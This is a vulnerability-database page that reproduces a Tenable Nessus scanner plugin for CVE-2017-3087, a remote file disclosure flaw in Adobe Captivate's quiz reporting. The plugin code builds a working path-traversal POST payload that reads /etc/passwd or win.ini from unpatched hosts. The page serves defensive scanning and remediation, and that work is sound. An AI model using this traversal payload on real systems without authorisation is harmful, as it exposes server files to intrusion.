Lucene search
K

Adobe Captivate Quiz Reporting Feature 'internalserverread.php' Remote File Disclosure (APSB17-19)

🗓️ 16 Jun 2017 00:00:00Reported by TenableType 
nessus
 nessus
🔗 www.tenable.com👁 63 Views

Adobe Captivate Quiz Reporting Feature 'internalserverread.php' Remote File Disclosure vulnerability in the quiz reporting feature due to improper validation of parameters passed to the 'internalserverread.php' script

Related
Refs
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
Adobe Captivate Quiz Reporting Feature 'internalServerReporting.php' File Upload RCE
16 Jun 201700:00
nessus
Adobe
APSB17-19 Security updates available for Adobe Captivate
13 Jun 201700:00
adobe
CNVD
Adobe Captivate Information Disclosure Vulnerability
14 Jun 201700:00
cnvd
CVE
CVE-2017-3087
20 Jun 201717:00
cve
Cvelist
CVE-2017-3087
20 Jun 201717:00
cvelist
EUVD
EUVD-2017-12228
7 Oct 202500:30
euvd
NVD
CVE-2017-3087
20 Jun 201717:29
nvd
OpenVAS
Adobe Captivate < 10.0.0.192 Multiple Vulnerabilities (APSB17-19) - Windows
21 Jun 201700:00
openvas
OSV
CVE-2017-3087
20 Jun 201717:29
osv
Prion
Information disclosure
20 Jun 201717:29
prion
Rows per page
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(100842);
  script_version("1.7");
  script_set_attribute(attribute:"plugin_modification_date", value:"2026/04/22");

  script_cve_id("CVE-2017-3087");
  script_xref(name:"IAVA", value:"2017-A-0172");

  script_name(english:"Adobe Captivate Quiz Reporting Feature 'internalserverread.php' Remote File Disclosure (APSB17-19)");
  script_summary(english:"Attempts to access arbitrary files.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by a
remote file disclosure vulnerability.");
  script_set_attribute(attribute:"description", value:
"The Adobe Captivate application running on the remote web server is
affected by a remote file disclosure vulnerability in the quiz
reporting feature due to improper validation of parameters passed to
the 'internalserverread.php' script. An unauthenticated, remote
attacker can exploit this issue, via a specially crafted request, to
access arbitrary files on the remote host.");
  script_set_attribute(attribute:"see_also", value:"https://helpx.adobe.com/security/products/captivate/apsb17-19.html");
  script_set_attribute(attribute:"see_also", value:"https://helpx.adobe.com/captivate/kb/security-updates-captivate.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Adobe Captivate 2017 (10.0.0.192) or later. Alternatively,
apply the hotfix for Adobe Captivate 8 and 9.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:X");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-3087");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2017/06/13");
  script_set_attribute(attribute:"patch_publication_date", value:"2017/06/13");
  script_set_attribute(attribute:"plugin_publication_date", value:"2017/06/16");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:adobe:captivate");
  script_set_attribute(attribute:"stig_severity", value:"II");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2017-2026 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("os_fingerprint.nasl");
  script_require_keys("www/PHP");
  script_require_ports("Services/www", 80, 443);

  exit(0);
}

include("http.inc");
include('report.inc');

app  = "Adobe Captivate Quiz Reporting";
port = get_http_port(default:80, php:TRUE);
files = [];

# This request creates the required 'CaptivateResult' directory and acts as detection for the web app 
url  = "/internalServerReporting.php";

res = http_send_recv3(
  port            : port,
  method          : "GET",
  item            : url,
  exit_on_fail    : TRUE
);

if (empty_or_null(res) || res[0] !~ "^HTTP/[0-9.]+ +200 ")
    audit(AUDIT_WEB_FILES_NOT, app, port);

# Simple detection before sending POST requests
if (
  # PHP warnings disabled
  res[2] != '<pre>\n</pre>\n' &&
  res[2] != '<pre>\nBad Param: name cannot be empty.\n' &&
  # PHP warnings enabled
  res[2] !~ "fopen.*/CaptivateResults/" &&
  res[2] !~ "Undefined variable: CompanyName in "
)
  audit(AUDIT_WEB_FILES_NOT, app, port);

# Determine which file to read on the remote host
os = get_kb_item('Host/OS');
if (os && report_paranoia < 2)
{
  if ("Windows" >< os)
    files = ['/windows/win.ini','/winnt/win.ini'];
  else
    files = ['/etc/passwd'];
}
else files = ['/etc/passwd', '/windows/win.ini', '/winnt/win.ini'];

# Exploit attempt
url = "/internalserverread.php";

attack_req = NULL; 
traversal = mult_str(str:'../', nb:5);
postdata = "API=5&company="+traversal+"&department="+traversal+"&course="+traversal+"&xmlname=";

file_pats = {};
file_pats['/etc/passwd']      = "root:.*:0:[01]:";
file_pats['/winnt/win.ini']   = "^\[[a-zA-Z\s]+\]|^; for 16-bit app support";
file_pats['/windows/win.ini'] = "^\[[a-zA-Z\s]+\]|^; for 16-bit app support";

foreach file (files)
{
  res = http_send_recv3(
    port         : port,
    method       : "POST",
    item         : url,
    data         : postdata + file,
    add_headers  : make_array("Content-Type", "application/x-www-form-urlencoded"),
    exit_on_fail : TRUE
  );

  if (empty_or_null(res) || res[0] !~ "^HTTP/[0-9.]+ +200 ")
    continue;

  if (pgrep(pattern:file_pats[file], string:res[2]))
  {
    vuln = TRUE;
    attack_req = http_last_sent_request();
    break;
  }
}
if (!vuln)
  audit(AUDIT_LISTEN_NOT_VULN, app, port);

var report_items = {
  'requests' : [attack_req, build_url(qs:url, port:port)],
  'file'     : file,
  'output'   : chomp(res[2])
};

report::build_and_report(port:port, severity:SECURITY_WARNING, report_items:report_items);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Apr 2026 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 25
CVSS 37.5
EPSS0.03202
63